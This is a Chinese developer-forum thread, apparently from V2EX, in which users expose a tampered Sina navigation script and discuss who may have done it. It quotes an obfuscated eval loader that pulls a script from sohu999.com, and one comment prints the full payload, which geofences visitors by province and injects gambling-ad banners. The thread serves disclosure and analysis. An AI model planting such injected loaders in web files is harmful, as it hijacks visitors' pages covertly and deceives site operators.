http://tech.sina.com.cn/it/2018-04-19/doc-ifzihnep8570976.shtml 原文链接在这
http://n.sinaimg.cn/common/channelnav/js/nav.js 被替换的 js 在这
被增加的代码在这
eval(function(d,f,a,c,b,e){b=function(a){return a.toString(f)};if(!"".replace(/^/,String)){for(;a--;)e[b(a)]=c[a]||b(a);c=[function(a){return e[a]}];b=function(){return"\\w+"};a=1}for(;a--;)c[a]&&(d=d.replace(new RegExp("\\b"+b(a)+"\\b","g"),c[a]));return d}('2.8("<0 3=\\"4\\" 5=\\"6/7\\" 1=\\"9\\" a=\\"b://c.d/e/f.g\\"></0>");',17,17,"script charset document id wf type text javascript writeln gb2312 src https sohu999 com imgs sina js".split(" "),0,{}));
是被劫持的理由是广告跳转域名没有备案,也查不到是谁注册的,显示代理注册
1
huiyifyj 2018-04-20 09:49:48 +08:00 via Android
sohu999.com 显示 DNS server 是 DNS pod
emmm [:doge:] |
2
580a388da131 2018-04-20 09:52:35 +08:00
今天也看到了 四川电信
|
3
fadaixiaohai 2018-04-20 09:55:15 +08:00
是运营商替换的吗?
|
4
autoxbc 2018-04-20 10:10:12 +08:00
看起来像内部员工挣外快的手法,不过这 eval packer 过于此地无银了,还不如手写拆分 url
|
5
7654 2018-04-20 10:12:09 +08:00
哈哈,可以举报一下新浪涉嫌 H&D&D
|
6
LeungJZ 2018-04-20 10:13:10 +08:00
不会是那个右下角绿色闪啊闪的吧?
|
7
M4ster 2018-04-20 10:46:50 +08:00 7
哈哈,看来北京和浙江的网友不好惹啊🐶。
https://sohu999.com/imgs/sina.js ``` javascript loadScript('https://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js', function() { if (window.remote_ip_info.province == '北京' || window.remote_ip_info.province == '浙江') { return false } else { // 注入广告... } ) ``` |
8
fe619742721 2018-04-20 11:19:25 +08:00
@M4ster 哈哈,想起来那个 http 劫持页面劫持到国务院头上的事情
|
10
cattrace 2018-04-20 12:33:00 +08:00
很厉害,同问是怎么发现的
|
11
janus77 2018-04-20 12:35:23 +08:00
上海联通也挂了 DNS 是 114
|
12
artoostark 2018-04-20 12:40:52 +08:00
广州鹏博士也有。
|
13
flyz 2018-04-20 13:17:13 +08:00 via Android
为什么我打开 js 文件,显示的是 1111111
|
14
myleon 2018-04-20 13:19:00 +08:00
刚才还有一刷新变成 11111111 了
|
15
RiESA 2018-04-20 13:28:39 +08:00
是不是干的人也上 V 站? 居然没了
|
16
xiaodongus 2018-04-20 13:35:14 +08:00
变成 111111 了,看来应该是内鬼无疑了
|
18
blackhacker 2018-04-20 14:05:49 +08:00
这个有点厉害啊 怎么做到的
|
19
orm 2018-04-20 14:06:58 +08:00
看样子,新浪内鬼也上 V 站
|
20
zoujun3281 2018-04-20 14:15:49 +08:00
@M4ster 大概新浪在北京跟浙江有公司
|
21
zzmstring 2018-04-20 14:26:33 +08:00
内鬼就在浏览过这个帖子的人中
|
22
panlilu 2018-04-20 14:35:05 +08:00
这个被抓了是不是得坐牢了
|
23
CloudnuY 2018-04-20 14:49:20 +08:00 1
广告劫持域名都上 https 了,你们的博客还不上?
|
25
boywang004 2018-04-20 15:00:39 +08:00
北京不好惹我理解……可浙江是哪位大神驻扎?
|
26
wyx 2018-04-20 15:10:50 +08:00
@boywang004 蒋光头
|
27
betaShine 2018-04-20 15:10:50 +08:00 via iPhone
按新浪这流量,能捞不少钱吧 (´▽`)
|
28
jijiwaiwai 2018-04-20 15:12:20 +08:00
@M4ster unction loadScript(a,b){var c=document.createElement("script");c.type="text/javascript";if(c.readyState){c.onreadystatechange=function(){if(c.readyState==="loaded"||c.readyState==="complete"){c.onreadystatechange=null;b()}}}else{c.onload=function(){b()}}c.src=a;document.getElementsByTagName("head")[0].appendChild(c)}function mobileCheck(){var c=false;(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))c=true})(navigator.userAgent||navigator.vendor||window.opera);return c}loadScript('https://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js',function(){if(window.remote_ip_info.province=='北京'||window.remote_ip_info.province=='浙江'){return false}else{var b=true;var c=false;var d=false;if(/Android|webOS|iPhone|iPod|ipad|BlackBerry/i.test(navigator.userAgent)){d=true}if(d==false){if(b!=false){var a='<div style="position:fixed;z-index:100;bottom:0;left:0;width:225px;padding-top:34px" id="fixed_left002">';a+='<div style="position:absolute;right:0;top:0;width:30px;height:30px;background:url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBzdGFuZGFsb25lPSJubyI/PjwhRE9DVFlQRSBzdmcgUFVCTElDICItLy9XM0MvL0RURCBTVkcgMS4xLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL0dyYXBoaWNzL1NWRy8xLjEvRFREL3N2ZzExLmR0ZCI+PHN2ZyB0PSIxNTIzODg3MDM3MjM3IiBjbGFzcz0iaWNvbiIgc3R5bGU9IiIgdmlld0JveD0iMCAwIDEwMjQgMTAyNCIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHAtaWQ9IjE2NDgiIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iMzIiIGhlaWdodD0iMzIiPjxkZWZzPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+PC9zdHlsZT48L2RlZnM+PHBhdGggZD0iTTEwMjQgNTEyYzAtMjgyLjc2MzYzNi0yMjkuMjM2MzY0LTUxMi01MTItNTEyQzIyOS4yMzYzNjQgMCAwIDIyOS4yMzYzNjQgMCA1MTJjMCAyODIuNzYzNjM2IDIyOS4yMzYzNjQgNTEyIDUxMiA1MTJDNzk0Ljc2MzYzNiAxMDI0IDEwMjQgNzk0Ljc2MzYzNiAxMDI0IDUxMnpNMjgxLjYgNzA5LjQ5MjM2NCA0NzkuMDkyMzY0IDUxMiAyODEuNiAzMTQuNTA3NjM2IDMxNC41MDc2MzYgMjgxLjYgNTEyIDQ3OS4wOTIzNjRsMTk3LjQ5MjM2NC0xOTcuNDkyMzY0IDMyLjkwNzYzNiAzMi45MDc2MzZMNTQ0LjkwNzYzNiA1MTJsMTk3LjQ5MjM2NCAxOTcuNDkyMzY0LTMyLjkwNzYzNiAzMi45MDc2MzZMNTEyIDU0NC45MDc2MzYgMzE0LjUwNzYzNiA3NDIuNCAyODEuNiA3MDkuNDkyMzY0eiIgcC1pZD0iMTY0OSIgZmlsbD0iI2Q4MWUwNiI+PC9wYXRoPjwvc3ZnPg==) no-repeat;background-size:30px 30px" id="close_fixed_point001"></div>';a+='<a target="_blank" href="https://sohu999.com/imgs/118cp.html" style="display:block"><img src="https://sohu999.com/imgs/1.gif"></a>';a+='<a target="_blank" href="https://sohu999.com/imgs/ddc.html" style="display:block"><img src="https://sohu999.com/imgs/2.gif"></a>';a+='</div>';document.getElementsByTagName("body")[0].insertAdjacentHTML('beforeend',a);document.getElementById('close_fixed_point001').onclick=function(){document.getElementById('fixed_left002').style.display='none'}}if(c!=false){var a='<div style="position:fixed;z-index:100;bottom:0;right:0;width:225px;padding-top:34px" id="fixed_left003">';a+='<div style="position:absolute;right:0;top:0;width:30px;height:30px;background:url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBzdGFuZGFsb25lPSJubyI/PjwhRE9DVFlQRSBzdmcgUFVCTElDICItLy9XM0MvL0RURCBTVkcgMS4xLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL0dyYXBoaWNzL1NWRy8xLjEvRFREL3N2ZzExLmR0ZCI+PHN2ZyB0PSIxNTIzODg3MDM3MjM3IiBjbGFzcz0iaWNvbiIgc3R5bGU9IiIgdmlld0JveD0iMCAwIDEwMjQgMTAyNCIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHAtaWQ9IjE2NDgiIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iMzIiIGhlaWdodD0iMzIiPjxkZWZzPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+PC9zdHlsZT48L2RlZnM+PHBhdGggZD0iTTEwMjQgNTEyYzAtMjgyLjc2MzYzNi0yMjkuMjM2MzY0LTUxMi01MTItNTEyQzIyOS4yMzYzNjQgMCAwIDIyOS4yMzYzNjQgMCA1MTJjMCAyODIuNzYzNjM2IDIyOS4yMzYzNjQgNTEyIDUxMiA1MTJDNzk0Ljc2MzYzNiAxMDI0IDEwMjQgNzk0Ljc2MzYzNiAxMDI0IDUxMnpNMjgxLjYgNzA5LjQ5MjM2NCA0NzkuMDkyMzY0IDUxMiAyODEuNiAzMTQuNTA3NjM2IDMxNC41MDc2MzYgMjgxLjYgNTEyIDQ3OS4wOTIzNjRsMTk3LjQ5MjM2NC0xOTcuNDkyMzY0IDMyLjkwNzYzNiAzMi45MDc2MzZMNTQ0LjkwNzYzNiA1MTJsMTk3LjQ5MjM2NCAxOTcuNDkyMzY0LTMyLjkwNzYzNiAzMi45MDc2MzZMNTEyIDU0NC45MDc2MzYgMzE0LjUwNzYzNiA3NDIuNCAyODEuNiA3MDkuNDkyMzY0eiIgcC1pZD0iMTY0OSIgZmlsbD0iI2Q4MWUwNiI+PC9wYXRoPjwvc3ZnPg==) no-repeat;background-size:30px 30px" id="close_fixed_point002"></div>';a+='<a target="_blank" href="https://sohu999.com/imgs/118cp.html" style="display:block"><img src="https://sohu999.com/imgs/1.gif"></a>';a+='<a target="_blank" href="https://sohu999.com/imgs/ddc.html" style="display:block"><img src="https://sohu999.com/imgs/2.gif"></a>';a+='</div>';document.getElementsByTagName("body")[0].insertAdjacentHTML('beforeend',a);document.getElementById('close_fixed_point002').onclick=function(){document.getElementById('fixed_left003').style.display='none'}}}else{var e='';var a='<div style="position:fixed;z-index:100;bottom:0;right:0;left:0;width:100%;padding-top:34px" id="fixed_mobile_002">';a+='<div style="position:absolute;right:0;top:0;width:30px;height:30px;background:url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBzdGFuZGFsb25lPSJubyI/PjwhRE9DVFlQRSBzdmcgUFVCTElDICItLy9XM0MvL0RURCBTVkcgMS4xLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL0dyYXBoaWNzL1NWRy8xLjEvRFREL3N2ZzExLmR0ZCI+PHN2ZyB0PSIxNTIzODg3MDM3MjM3IiBjbGFzcz0iaWNvbiIgc3R5bGU9IiIgdmlld0JveD0iMCAwIDEwMjQgMTAyNCIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHAtaWQ9IjE2NDgiIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iMzIiIGhlaWdodD0iMzIiPjxkZWZzPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+PC9zdHlsZT48L2RlZnM+PHBhdGggZD0iTTEwMjQgNTEyYzAtMjgyLjc2MzYzNi0yMjkuMjM2MzY0LTUxMi01MTItNTEyQzIyOS4yMzYzNjQgMCAwIDIyOS4yMzYzNjQgMCA1MTJjMCAyODIuNzYzNjM2IDIyOS4yMzYzNjQgNTEyIDUxMiA1MTJDNzk0Ljc2MzYzNiAxMDI0IDEwMjQgNzk0Ljc2MzYzNiAxMDI0IDUxMnpNMjgxLjYgNzA5LjQ5MjM2NCA0NzkuMDkyMzY0IDUxMiAyODEuNiAzMTQuNTA3NjM2IDMxNC41MDc2MzYgMjgxLjYgNTEyIDQ3OS4wOTIzNjRsMTk3LjQ5MjM2NC0xOTcuNDkyMzY0IDMyLjkwNzYzNiAzMi45MDc2MzZMNTQ0LjkwNzYzNiA1MTJsMTk3LjQ5MjM2NCAxOTcuNDkyMzY0LTMyLjkwNzYzNiAzMi45MDc2MzZMNTEyIDU0NC45MDc2MzYgMzE0LjUwNzYzNiA3NDIuNCAyODEuNiA3MDkuNDkyMzY0eiIgcC1pZD0iMTY0OSIgZmlsbD0iI2Q4MWUwNiI+PC9wYXRoPjwvc3ZnPg==) no-repeat;background-size:30px 30px" id="close_fixed_point"></div>';a+='<a target="_blank" href="https://sohu999.com/imgs/118cp.html" style="display:block"><img src="https://sohu999.com/imgs/h2.jpg" width="100%"></a>';a+='<a target="_blank" href="https://sohu999.com/imgs/ddc.html" style="display:block"><img src="https://sohu999.com/imgs/h1.jpg" width="100%"></a>';a+='</div>';document.getElementsByTagName("body")[0].insertAdjacentHTML('beforeend',a);document.getElementById('close_fixed_point').onclick=function(){document.getElementById('fixed_mobile_002').style.display='none'}}}});
|
29
laoyuan 2018-04-20 15:12:29 +08:00
这种都是有产业链的,接单的、挂链的,窝案也很有可能,所以反而不好查。
|
30
uucloud 2018-04-20 15:15:05 +08:00
这人惨了,lz nb 啊,很敏锐
|
31
php300 2018-04-20 15:26:07 +08:00
浙江喜欢赌的老板太多了!所以也入住了
|
32
miyuki 2018-04-20 16:42:12 +08:00 via Android
笑死
|
33
DeWhite 2018-04-20 17:04:28 +08:00 via Android
内鬼捞偏门,感觉应该是怕出事撤了。
|
34
wujianxiong 2018-04-20 17:08:30 +08:00
这种广告太赚钱拉 ,做灰产真的要屏蔽一线城市的
|
35
zangev5 2018-04-20 17:37:19 +08:00 via iPhone
观察入微啊 大佬
|
36
TingHaiJamiE 2018-04-20 22:04:34 +08:00
大胆的猜测,代码都有版本控制,要是内鬼,还是能查到的吧...
|
37
mingyun 2018-04-22 14:31:32 +08:00
楼主探索精神可以的
|
38
ShaoMing 2018-04-22 19:41:48 +08:00
为啥要偏偏撤离 北京 浙江!
|